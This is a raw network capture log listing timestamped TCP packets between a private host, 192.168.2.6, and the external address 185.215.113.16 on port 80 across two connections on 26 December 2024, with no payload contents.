Dec 26, 2024 12:52:18.732532024 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.733270884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.733329058 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.733345985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.734081030 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.734193087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.734302998 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.734963894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.735066891 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.736085892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.736170053 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.736260891 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.736638069 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.736757994 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.736812115 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.737484932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.737601042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.737657070 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.738400936 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.738626957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.738708019 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.739229918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.739351988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.740051031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.740098000 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.740149021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.740948915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.741019011 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.741060019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.742046118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.742079020 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.742212057 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.742654085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.743118048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.743499994 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.743573904 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.743573904 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.744354010 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.744530916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.744637012 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.911143064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.911160946 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.911226034 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.911412001 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.911570072 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.911639929 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.912266970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.912374973 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.912625074 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.913114071 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.913233042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.913515091 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.913953066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.914064884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.914114952 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.914933920 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.915014029 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.915152073 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.915703058 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.915811062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.916035891 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.916510105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.916618109 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.916680098 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.917380095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.917567968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.917727947 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.918237925 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.918364048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.918675900 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.919063091 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.919112921 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.919281960 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:19.899575949 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:19.899990082 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:20.019530058 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:20.019552946 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:20.019762039 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:20.019758940 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:20.020067930 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:20.139492989 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.443260908 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.443381071 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.443396091 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.443460941 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.443553925 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.443566084 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.443578005 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.443588972 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.443599939 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.443599939 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.443639994 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.443665981 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.443734884 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.443746090 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.443788052 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.563225985 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.563241005 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.563306093 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.653523922 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.653598070 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.653688908 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.657562971 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.657686949 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.657737017 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.666060925 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.666129112 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.666176081 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.674379110 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.674422026 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.675020933 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.682704926 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.682737112 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.682784081 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.691466093 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.691567898 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.691612959 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.699525118 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.699587107 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.699779034 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.707987070 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.708061934 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.708113909 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.716341972 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.716378927 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.716466904 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.724682093 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.724808931 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.724874973 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.733341932 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.733374119 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.733431101 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.773278952 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.864038944 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.864089012 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.864101887 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.866688967 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.866739988 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.866744041 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.872086048 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.872175932 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.872229099 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.877602100 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.877770901 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.877836943 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.882929087 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.883076906 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.883142948 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.888309956 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.888353109 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.888411999 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.893755913 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.893801928 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.893851995 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.899724007 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.899790049 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.899823904 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.904553890 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.904652119 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.904664040 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.910017967 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.910068035 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.910069942 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.915371895 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.915397882 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.915426016 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.920798063 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.920846939 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.920881987 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.926175117 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.926227093 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.926609993 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.931596041 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.931649923 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.931655884 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.937021017 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.937144995 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.937194109 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.942435980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.942487001 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.942555904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.947859049 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.947912931 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:21.947949886 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.953241110 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:21.953305960 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.074438095 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.074685097 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.074760914 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.076544046 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.077363014 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.077415943 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.077455044 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.081628084 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.081696987 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.081732035 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.085912943 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.085958004 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.086074114 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.090236902 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.090265989 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.090311050 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.095273972 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.095359087 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.096473932 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.100270987 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.100287914 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.100327969 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.103441954 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.103458881 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.103487968 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.107372046 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.107419968 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.107419968 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.114716053 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.114729881 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.114805937 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.117269039 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.117332935 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.117404938 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.121500015 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.121584892 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.121659994 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.125161886 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.125174999 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.125230074 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.128719091 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.128854036 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.128916025 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.133006096 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.133117914 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.133168936 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.138173103 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.138194084 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.138230085 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.141576052 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.141649008 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.141690016 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.145935059 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.145963907 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.146022081 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.150130033 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.150254011 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.150299072 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.154434919 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.154499054 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.154505968 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.158731937 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.158783913 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.158808947 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.162976980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.163048029 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.163091898 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.167351961 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.167437077 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.167490959 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.171555996 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.171606064 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.171658993 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.175839901 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.175889969 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.175934076 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.180113077 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.180198908 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.180262089 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.284823895 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.285012960 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.285094023 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.286539078 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.286607981 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.288824081 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.289755106 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.290983915 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.291094065 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.291150093 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.294348955 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.294495106 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.294540882 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.297679901 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.297794104 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.297847033 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.300842047 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.300945044 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.300991058 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.303991079 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.304056883 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.304099083 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.307143927 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.307224035 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.307266951 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.310129881 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.310177088 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.310252905 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.313045025 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.313164949 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.313230038 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.316023111 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.316075087 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.316124916 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.318979979 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.319047928 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.319091082 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.321993113 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.322068930 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.322110891 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.325026989 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.325126886 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.325176954 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.327946901 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.328001976 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.328047037 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.330920935 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.331132889 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.331185102 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.333853960 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.333918095 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.333940983 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.336968899 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.337054968 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.337105036 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.339888096 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.339946985 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.340008020 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.342820883 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.342906952 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.342952013 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.345915079 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.345983982 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.346040010 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.348787069 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.348831892 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.348998070 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.352035046 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.352092028 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.352195978 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.355354071 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.355587006 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.355633020 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.358166933 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.358294964 CET	80	49863	185.215.113.16	192.168.2.6
